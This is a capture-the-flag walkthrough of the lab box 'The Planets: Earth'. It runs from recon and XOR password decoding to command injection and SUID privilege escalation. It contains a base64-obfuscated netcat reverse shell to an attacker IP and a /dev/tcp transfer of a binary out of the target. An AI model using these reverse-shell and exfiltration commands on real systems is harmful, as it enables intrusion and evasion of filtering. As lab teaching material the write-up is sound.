The Planets: Earth is a deceptively simple-looking box that throws a few unusual tools at you — XOR encryption decoding via CyberChef, ltrace for binary analysis, and a SUID binary that resets the root password but only when specific magic files exist. Total time was about two hours, with the longest stretch spent on the XOR decode chain (UTF-8 → hex → XOR with key, in that order). The reset_root binary is one of the more elegant "real-world-ish" privesc puzzles I've solved.
01_Reconnaissance
Standard nmap. Three open ports — SSH, HTTP, HTTPS. Default scripts surface two virtual hostnames in the SSL cert SAN: earth.local and terratest.earth.local. Add both to /etc/hosts.
$ sudo nmap -p22,80,443 192.168.0.32 -sC PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https | ssl-cert: Subject Alternative Name: | DNS:earth.local, DNS:terratest.earth.local $ sudo bash -c "echo '192.168.0.32 earth.local terratest.earth.local' >> /etc/hosts"
02_Virtual_Host_Enumeration
Two vhosts to enumerate. earth.local serves the public site. terratest.earth.local exposes /robots.txt which leads to two notes files left behind by a developer.
$ dirb https://earth.local $ dirb https://terratest.earth.local/ $ curl -sk https://terratest.earth.local/robots.txt User-agent: * Disallow: /testingnotes.txt $ curl -sk https://terratest.earth.local/testingnotes.txt testdata.txt is used as the encryption key notes: - using XOR cipher - terra is admin $ curl -sk https://terratest.earth.local/testdata.txt [XOR encryption key — short ASCII string]
On earth.local, the front page renders three lines that are XOR-encrypted with the key from testdata.txt — these are the admin password.
03_XOR_Decryption_via_CyberChef
The encrypted strings are hex-encoded UTF-8. Order of operations in CyberChef matters here — From UTF-8 → From Hex → XOR with the key. Skip the UTF-8 step and the hex won't parse cleanly.
# CyberChef recipe (in order): 1. From UTF-8 2. From Hex 3. XOR (key from testdata.txt, key format = UTF8) # Output: terra : earthclimatechangebad4humans
Crypto Note — XOR with Reused Key
XOR is a symmetric operation — the same key both encrypts and decrypts. Using a short text key with XOR is a textbook "don't" because of the many-time-pad weakness, but for CTF purposes it's a recognisable pattern: any time you see hex blobs near a "key" file, try XOR first.
04_Admin_Panel_Command_Injection
Login to the admin panel with terra : earthclimatechangebad4humans. The admin panel offers a "command runner" form that takes raw input and pipes it to the shell — the textbook command-injection sink. Confirm with ls, then upgrade to a base64-encoded reverse shell to evade any naive filtering.
# Build the payload $ echo "nc -e /bin/bash 192.168.0.100 4444" | base64 bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMC4xMDAgNDQ0NAo= # In admin panel command field: echo "bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMC4xMDAgNDQ0NAo=" | base64 -d | bash # Listener $ nc -lvnp 4444 connect to [192.168.0.100] from (UNKNOWN) [192.168.0.32] 38502 $ python3 -c "import pty; pty.spawn('/bin/bash')" [apache@earth /]$ id uid=48(apache) gid=48(apache)
05_PrivEsc_via_reset_root_SUID
SUID hunt. There's a binary called /usr/bin/reset_root with the SUID bit and the name is the giveaway. Running it first time gives an unhelpful error: "CHECKING IF RESET TRIGGERS PRESENT...not all triggers found, exiting". So I exfiltrate the binary to my attacker box and run ltrace on it to see what files it's checking for.
# On target — pipe binary over /dev/tcp to attacker [apache@earth /]$ cat /usr/bin/reset_root > /dev/tcp/192.168.0.100/9999 # Attacker side — listener catches the binary $ nc -lvnp 9999 > reset_root $ chmod +x reset_root # Trace its system calls and library access $ ltrace ./reset_root access("/dev/shm/kHgTFI5G", F_OK) = -1 access("/dev/shm/Zw7bV9U5", F_OK) = -1 access("/tmp/kcM0Wewe", F_OK) = -1 puts("CHECKING IF RESET TRIGGERS PRESENT... [Three magic file paths revealed — binary checks for all three before resetting root]
# Back on target — create the three trigger files [apache@earth /]$ touch /dev/shm/kHgTFI5G [apache@earth /]$ touch /dev/shm/Zw7bV9U5 [apache@earth /]$ touch /tmp/kcM0Wewe [apache@earth /]$ /usr/bin/reset_root CHECKING IF RESET TRIGGERS PRESENT... RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth [apache@earth /]$ su root Password: Earth # whoami root # cat /root/root_flag.txt [REDACTED]
Technique Note — ltrace for Black-Box Binaries
ltrace shows library calls (libc, libcrypt, etc.) made by a binary. strace shows system calls. For "what files does this thing check for" questions, ltrace usually surfaces the answer faster because access() calls are right at libc level. Always run an unfamiliar SUID binary through both before assuming it's unexploitable.
06_Attack_Chain_Summary
- 01 Nmap → ports 22, 80, 443; SSL cert SAN = earth.local + terratest.earth.local
- 02 Add both to /etc/hosts → vhost enum
- 03 terratest /robots.txt → testingnotes.txt + testdata.txt (XOR key)
- 04 CyberChef: From UTF-8 → From Hex → XOR → terra : earthclimatechangebad4humans
- 05 Admin panel command injection → base64 reverse shell as apache
- 06 SUID /usr/bin/reset_root → exfil to attacker → ltrace → 3 magic files
- 07 touch /dev/shm/kHgTFI5G + /dev/shm/Zw7bV9U5 + /tmp/kcM0Wewe
- 08 ./reset_root → root password = "Earth" → su root → root_flag.txt